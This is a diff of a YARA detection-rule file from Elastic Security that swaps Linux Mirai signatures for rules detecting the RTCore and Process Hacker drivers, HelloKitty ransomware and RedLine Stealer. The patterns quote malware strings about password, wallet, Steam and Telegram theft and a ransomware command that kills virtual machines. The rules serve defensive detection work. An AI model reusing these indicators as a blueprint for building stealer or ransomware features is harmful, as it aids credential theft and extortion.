-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Vulndriver Rtcore (Windows.VulnDriver.RtCore)"
 		author = "Elastic Security"
-		id = "5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4eeb2ce5-e481-4e9c-beda-2b01f259ed96"
+		date = "2022-04-04"
+		modified = "2022-08-30"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L832-L849"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b2aedc0361c1093d7a996f26d907da3e4654c32a6dbcdbab441c19d4207f2e2a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_RtCore.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd"
+		logic_hash = "f547bce6554c60e8f3ef8e128c05533cf1f35ce0ee414d5a1c5e9a205b05d8fe"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "cebca7dc572afccf4eb600980b9cbaef0878213f91c04b4605a0cf4d0e5e541f"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C }
+		$str1 = "\\Device\\RTCore64" wide fullword
+		$str2 = "Kaspersky Lab Anti-Rootkit Monitor Driver" wide fullword
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1 and not $str2
 }
-rule ELASTIC_Linux_Trojan_Mirai_A3Cedc45 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Processhacker_3D01069E : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Hacktool Processhacker (Windows.Hacktool.ProcessHacker)"
 		author = "Elastic Security"
-		id = "a3cedc45-962d-44b5-bf0e-67166fa6c1a4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "3d01069e-7afb-4da0-b7ac-23f90db26495"
+		date = "2022-03-30"
+		modified = "2022-03-30"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L851-L869"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ae0cd7e5bac967e31771873b4b41a1887abddfcdfcc76fa9149bb2054b03ca4"
-		logic_hash = "9233e6faa43d8ea43ff3c71ecb5248d5d311b2a593825c299cac4466278cd020"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_ProcessHacker.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
+		logic_hash = "bcba74aa20b62329c48060bfebaf49ab12f89f9ec3a09fc0c0cb702de5e2b940"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8335e540adfeacdf8f45c9cb36b08fea7a06017bb69aa264dc29647e7ca4a541"
+		tags = "FILE"
+		fingerprint = "5d6a0835ac6c0548292ff11741428d7b2f4421ead6d9e2ca35379cbceb6ee68c"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 2C 48 8B 03 48 83 E0 FE 48 29 C3 48 8B 43 08 48 83 E0 FE 4A 8D }
+		$original_file_name = "OriginalFilename\x00kprocesshacker.sys" wide fullword
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Linux_Trojan_Mirai_7D05725E : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Hellokitty_35731270 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Ransomware Hellokitty (Linux.Ransomware.Hellokitty)"
 		author = "Elastic Security"
-		id = "7d05725e-db59-42a7-99aa-99de79728126"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "35731270-b283-4dff-8316-6a541ff1d4d5"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L871-L889"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
-		logic_hash = "ac2d0b81325ce7984bc09f93e61b42c8e312a31c75f09d37313d70cd40d3cf8b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Hellokitty.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed"
+		logic_hash = "40cb632d6b8561de56f2010a082a24b0c50d4cabed21e073168b5302ddff7044"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714"
+		fingerprint = "1945bfcbe084f8f6671c73e74679fb2933d2ebea54479fdf348d4804a614279a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -69600,572 +73838,631 @@ rule ELASTIC_Linux_Trojan_Mirai_7D05725E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44 }
+		$a1 = "File Locked:%s PID:%d" fullword
+		$a2 = "error encrypt: %s rename back:%s" fullword
+		$a3 = "esxcli vm process kill -t=soft -w=%d" fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Fa48B592 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_17Ee6A17 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "fa48b592-8d80-45af-a3e4-232695b8f5dd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "17ee6a17-161e-454a-baf1-2734995c82cd"
+		date = "2021-06-12"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L891-L909"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee"
-		logic_hash = "5648bcc96b1fdd1529b4b8765b1738594d0d61f7880b763e803cd89bd117e96b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "497bc53c1c75003fe4ae3199b0ff656c085f21dffa71d00d7a3a33abce1a3382"
+		logic_hash = "0c868d0673c01e2c115d6822c34c877db77265251167f3a890a448a1de5c6a2d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88"
+		fingerprint = "a1f75937e83f72f61e027a1045374d3bd17cd387b223a6909b9aed52d2bc2580"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F }
+		$a1 = "RedLine.Logic.SQLite" ascii fullword
+		$a2 = "RedLine.Reburn.Data.Browsers.Gecko" ascii fullword
+		$a3 = "RedLine.Client.Models.Gecko" ascii fullword
+		$b1 = "SELECT * FROM Win32_Process Where SessionId='{0}'" wide fullword
+		$b2 = "get_encryptedUsername" ascii fullword
+		$b3 = "https://icanhazip.com" wide fullword
+		$b4 = "GetPrivate3Key" ascii fullword
+		$b5 = "get_GrabTelegram" ascii fullword
+		$b6 = "<GrabUserAgent>k__BackingField" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_B9A9D04B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_F54632Eb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "b9a9d04b-a997-46c4-b893-e89a3813efd3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f54632eb-2c66-4aff-802d-ad1c076e5a5e"
+		date = "2021-06-12"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L911-L928"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "61575576be4c1991bc381965a40e5d9d751bba2680a42907b0148651716419fc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L29-L56"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25"
+		logic_hash = "1779919556ee5c9a78342aabafb8408e035cb39632b25c54da6bf195894901dc"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "874249d8ad391be97466c0259ae020cc0564788a6770bb0f07dd0653721f48b1"
+		fingerprint = "6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = "nexuszetaisacrackaddict"
+		$a1 = "ttp://checkip.amazonaws.com/logins.json" wide fullword
+		$a2 = "https://ipinfo.io/ip%appdata%\\" wide fullword
+		$a3 = "Software\\Valve\\SteamLogin Data" wide fullword
+		$a4 = "get_ScannedWallets" ascii fullword
+		$a5 = "get_ScanTelegram" ascii fullword
+		$a6 = "get_ScanGeckoBrowsersPaths" ascii fullword
+		$a7 = "<Processes>k__BackingField" ascii fullword
+		$a8 = "<GetWindowsVersion>g__HKLM_GetString|11_0" ascii fullword
+		$a9 = "<ScanFTP>k__BackingField" ascii fullword
+		$a10 = "DataManager.Data.Credentials" ascii fullword
 
 	condition:
-		all of them
+		6 of ($a*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_D2205527 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_3D9371Fd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "d2205527-0545-462b-b3c9-3bf2bdc44c6c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "3d9371fd-c094-40fc-baf8-f0e9e9a54ff9"
+		date = "2022-02-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L930-L948"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e4f584d1f75f0d7c98b325adc55025304d55907e8eb77b328c007600180d6f06"
-		logic_hash = "172ba256873cce61047a5198733cacaff4ef343c9cbd76f2fbbf0e1ed8003236"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L58-L82"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a"
+		logic_hash = "1c8a64ce7615f502602ab960638dd55f4deaeea3b49d894274d64d4d0b6a1d10"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "01d937fe8823e5f4764dea9dfe2d8d789187dcd6592413ea48e13f41943d67fd"
+		fingerprint = "2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CA B8 37 00 00 00 0F 05 48 3D 01 F0 FF FF 73 01 C3 48 C7 C1 C0 FF }
+		$a1 = "get_encrypted_key" ascii fullword
+		$a2 = "get_PassedPaths" ascii fullword
+		$a3 = "ChromeGetLocalName" ascii fullword
+		$a4 = "GetBrowsers" ascii fullword
+		$a5 = "Software\\Valve\\SteamLogin Data" wide fullword
+		$a6 = "%appdata%\\" wide fullword
+		$a7 = "ScanPasswords" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ab073861 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_63E7E006 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "ab073861-38df-4a39-ab81-8451b6fab30c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "63e7e006-6c0c-47d8-8090-a6b36f01f3a3"
+		date = "2023-05-01"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L950-L968"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "175444a9c9ca78565de4b2eabe341f51b55e59dec00090574ee0f1875422cbac"
-		logic_hash = "251b92c4fec9d113025c6869c279247a3dd16ee094c8861fe43a33f87132bf75"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L84-L104"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e062c99dc9f3fa780ea9c6249fa4ef96bbe17fd1df38dbe11c664a10a92deece"
+		logic_hash = "2085eaf622b52372124e9b23d19e3e4a7fdb7a4559ad9a09216c1cbae96ca5b6"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "37ab5e3ccc9a91c885bff2b1b612efbde06999e83ff5c5cd330bd3a709a831f5"
+		fingerprint = "47c7b9a39a5e0a41f26fdf328231eb173a51adfc00948c68332ce72bc442e19e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { AC 00 00 00 54 60 00 00 50 E8 4E 0C 00 00 EB 0E 5A 58 59 97 60 8A 54 }
+		$a1 = { 30 68 44 27 25 5B 3D 79 21 54 3A }
+		$a2 = { 40 5E 30 33 5D 44 34 4A 5D 48 33 }
+		$a3 = { 4B EF 4D FF 44 DD 41 70 44 DC 41 00 44 DC 41 03 43 D9 3E 00 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_637F2C04 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_F07B3Cb4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
-		author = "Elastic Security"
-		id = "637f2c04-98e4-45aa-b60a-14a96c6cebb7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		author = "Elastic Security"
+		id = "f07b3cb4-a1c5-42c3-a992-d6d9a48bc7a0"
+		date = "2023-05-03"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L970-L987"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "cff4aa6c613ccc64f64441f7e40f79d3a22b5c12856c32814545bd41d5f112bd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L106-L125"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5e491625475fc25c465fc7f6db98def189c15a133af7d0ac1ecbc8d887c4feb6"
+		logic_hash = "64536e3b340254554154ac1b33adfb4f3c72a2c6c0d1ef27827621b905d431c5"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c"
+		fingerprint = "8687fa6f540ccebab6000c0c93be4931d874cd04b0692c6934148938bac0026e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 }
+		$a1 = { 3C 65 6E 63 72 79 70 74 65 64 5F 6B 65 79 3E 6B 5F 5F 42 61 63 6B 69 6E 67 46 69 65 6C 64 }
+		$a2 = { 45 42 37 45 46 31 39 37 33 43 44 43 32 39 35 42 37 42 30 38 46 45 36 44 38 32 42 39 45 43 44 41 44 31 31 30 36 41 46 32 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Aa39Fb02 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_4Df4Bcb6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "aa39fb02-ca7e-4809-ab5d-00e92763f7ec"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4df4bcb6-a492-4407-8d8f-bbb835322c98"
+		date = "2023-05-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L989-L1006"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "ffa95d92a2b619008bd5918cd34a17cd034b2830dc09d495db4b0c397b1cb53a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L127-L145"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9389475bd26c1d3fd04a083557f2797d0ee89dfdd1f7de67775fcd19e61dfbb3"
+		logic_hash = "d9027fa9c8d9c938159a734431bb2be67fd7cca1f898c2208f7b909157524da4"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb"
+		fingerprint = "a9e08bf28e8915615f9b39ab814a46c092b5714ef9133f740a1f1f876bfda2d9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80 }
+		$a1 = { 34 42 30 35 43 45 42 44 37 44 37 30 46 31 36 30 37 44 34 37 34 43 41 45 31 37 36 46 45 41 45 42 37 34 33 39 37 39 35 46 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_0Bce98A2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_15Ee6903 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "0bce98a2-113e-41e1-95c9-9e1852b26142"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "15ee6903-757f-462b-8e1c-1ed8ca667910"
+		date = "2023-05-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1008-L1026"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80"
-		logic_hash = "04d10ef03c178fb101d3c6b6d3b36f0aa04149b9b35a33c3d10d17af1fc07625"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L147-L166"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "46b506cafb2460ca2969f69bcb0ee0af63b6d65e6b2a6249ef7faa21bde1a6bd"
+		logic_hash = "22c8a1f4b5b94261cfabdbcc00e45b9437a0132d4e9d4543b734d4f303336696"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e"
+		fingerprint = "d3a380f68477b98b3f5adc11cc597042aa95636cfec0b0a5f2e51c201aa61227"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A }
+		$a1 = { 53 65 65 6E 42 65 66 6F 72 65 33 }
+		$a2 = { 73 65 74 5F 53 63 61 6E 47 65 63 6B 6F 42 72 6F 77 73 65 72 73 50 61 74 68 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3A56423B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_6Dfafd7B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "3a56423b-c0cf-4483-87e3-552beb40563a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6dfafd7b-5188-4ec7-9ba4-58b8f05458e5"
+		date = "2024-01-05"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1028-L1045"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0c2765a5c1b331eb9ff5e542bc72eff7be3506e6caef94128413d500086715c6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L168-L186"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "809e303ba26b894f006b8f2d3983ff697aef13b67c36957d98c56aae9afd8852"
+		logic_hash = "888bc2fdfae8673cd6bce56fc9894b3cab6d7e3c384d854d6bc8aef47fdecf1c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "117d6eb47f000c9d475119ca0e6a1b49a91bbbece858758aaa3d7f30d0777d75"
+		fingerprint = "b7770492fc26ada1e5cb5581221f59b1426332e57eb5e04922f65c25b92ad860"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 1C 8B 44 24 20 0F B6 D0 C1 E8 08 89 54 24 24 89 44 24 20 BA 01 00 }
+		$a = { 33 38 46 34 33 31 41 35 34 39 34 31 31 41 45 42 33 32 38 31 30 30 36 38 41 34 43 38 33 32 35 30 42 32 44 33 31 45 31 35 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_D18B3463 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Redlinestealer_983Cd7A7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
 		author = "Elastic Security"
-		id = "d18b3463-1b5e-49e1-9ae8-1d63a10a1ccc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "983cd7a7-4e7b-413f-b859-b5cbfbf14ae6"
+		date = "2024-03-27"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1047-L1065"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cd86534d709877ec737ceb016b2a5889d2e3562ffa45a278bc615838c2e9ebc3"
-		logic_hash = "f906c6f9baae6d6fa3f42e84607549bae44ed9ca847fd916d04f2671eef1caa1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RedLineStealer.yar#L188-L208"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7aa20c57b8815dd63c8ae951e1819c75b5d2deec5aae0597feec878272772f35"
+		logic_hash = "2104bad5ec42bc72ec611607a53086a85359bdb4bf084d7377e9a8e234b0e928"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4b3d3bb65db2cdb768d91c50928081780f206208e952c74f191d8bc481ce19c6"
+		fingerprint = "6dd74c3b67501506ee43340c07b53ddb94e919d27ad96f55eb4eff3de1470699"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
